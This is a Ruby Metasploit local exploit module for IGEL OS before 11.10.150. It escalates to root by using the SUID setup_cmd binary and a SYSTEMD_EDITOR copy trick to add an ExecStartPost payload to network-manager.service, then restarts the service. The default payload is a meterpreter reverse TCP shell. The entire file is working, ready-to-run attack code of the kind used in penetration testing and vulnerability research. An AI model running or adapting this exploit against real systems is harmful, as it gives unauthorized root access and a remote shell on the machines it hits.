120 lines
3.5 KiB
Ruby
120 lines
3.5 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
|
include Msf::Post::Linux
|
|
include Msf::Post::Linux::System
|
|
include Msf::Post::Unix
|
|
include Msf::Post::File
|
|
include Msf::Exploit::FileDropper
|
|
include Msf::Exploit::EXE
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'IGEL OS Privilege Escalation (via systemd service)',
|
|
'Description' => %q{
|
|
Escalate privileges for IGEL OS Workspace Edition sessions, by modifying
|
|
network-manager.service using setup_cmd (SUID) and network, then restarting
|
|
the service.
|
|
},
|
|
'Author' => 'Zack Didcott',
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => ['linux'],
|
|
'Targets' => [
|
|
[
|
|
'Linux x86_64', {
|
|
'Arch' => ARCH_X64,
|
|
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
|
|
}
|
|
],
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'SessionTypes' => ['shell', 'meterpreter'],
|
|
'DisclosureDate' => '2024-07-10', # Patch release date
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SERVICE_RESTARTS],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => [CONFIG_CHANGES, SCREEN_EFFECTS]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_advanced_options([
|
|
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
|
|
])
|
|
end
|
|
|
|
def check
|
|
version = Rex::Version.new(
|
|
read_file('/etc/system-release').delete_prefix('IGEL OS').strip
|
|
)
|
|
unless version < Rex::Version.new('11.10.150')
|
|
return CheckCode::Safe("IGEL OS #{version} is not vulnerable")
|
|
end
|
|
|
|
CheckCode::Appears("IGEL OS #{version} should be vulnerable")
|
|
end
|
|
|
|
def exploit
|
|
print_status('Uploading payload to target')
|
|
payload_file = write_payload(generate_payload_exe, datastore['WritableDir'], 0o700)
|
|
|
|
print_status('Writing config to target')
|
|
config = build_config(payload_file)
|
|
config_file = write_payload(config, datastore['WritableDir'], 0o600)
|
|
|
|
print_status('Applying service config')
|
|
vprint_status(modify_service(config_file))
|
|
|
|
print_status('Restarting service')
|
|
vprint_status(restart_service)
|
|
end
|
|
|
|
def write_payload(contents, dir, perm)
|
|
fail_with(Failure::NoAccess, "Directory '#{dir}' is not writable") unless writable?(dir)
|
|
fail_with(Failure::NoAccess, "Directory '#{dir}' is on a noexec mount point") if noexec?(dir)
|
|
|
|
filepath = "#{dir}/#{Rex::Text.rand_text_alpha(8)}"
|
|
|
|
write_file(filepath, contents)
|
|
chmod(filepath, perm)
|
|
|
|
unless file?(filepath)
|
|
fail_with(Failure::Unknown, "Failed to write to '#{filepath}'")
|
|
end
|
|
|
|
register_files_for_cleanup(filepath)
|
|
|
|
return filepath
|
|
end
|
|
|
|
def build_config(payload_file)
|
|
config = <<~CONFIG.strip
|
|
[Service]
|
|
TimeoutStartSec=infinity
|
|
ExecStartPost=#{payload_file}
|
|
CONFIG
|
|
return config
|
|
end
|
|
|
|
def modify_service(config_file)
|
|
command = <<~COMMAND.strip
|
|
/usr/bin/python3 -c 'import pty; pty.spawn("/bin/bash")' << EOF
|
|
env SYSTEMD_EDITOR="/bin/cp #{config_file}" /config/bin/setup_cmd /config/bin/network edit
|
|
EOF
|
|
COMMAND
|
|
|
|
script_file = write_payload(command, datastore['WritableDir'], 0o700)
|
|
cmd_exec(script_file)
|
|
end
|
|
|
|
def restart_service
|
|
create_process('/config/bin/setup_cmd', args: ['/config/bin/network', 'restart'], time_out: 120)
|
|
end
|
|
end
|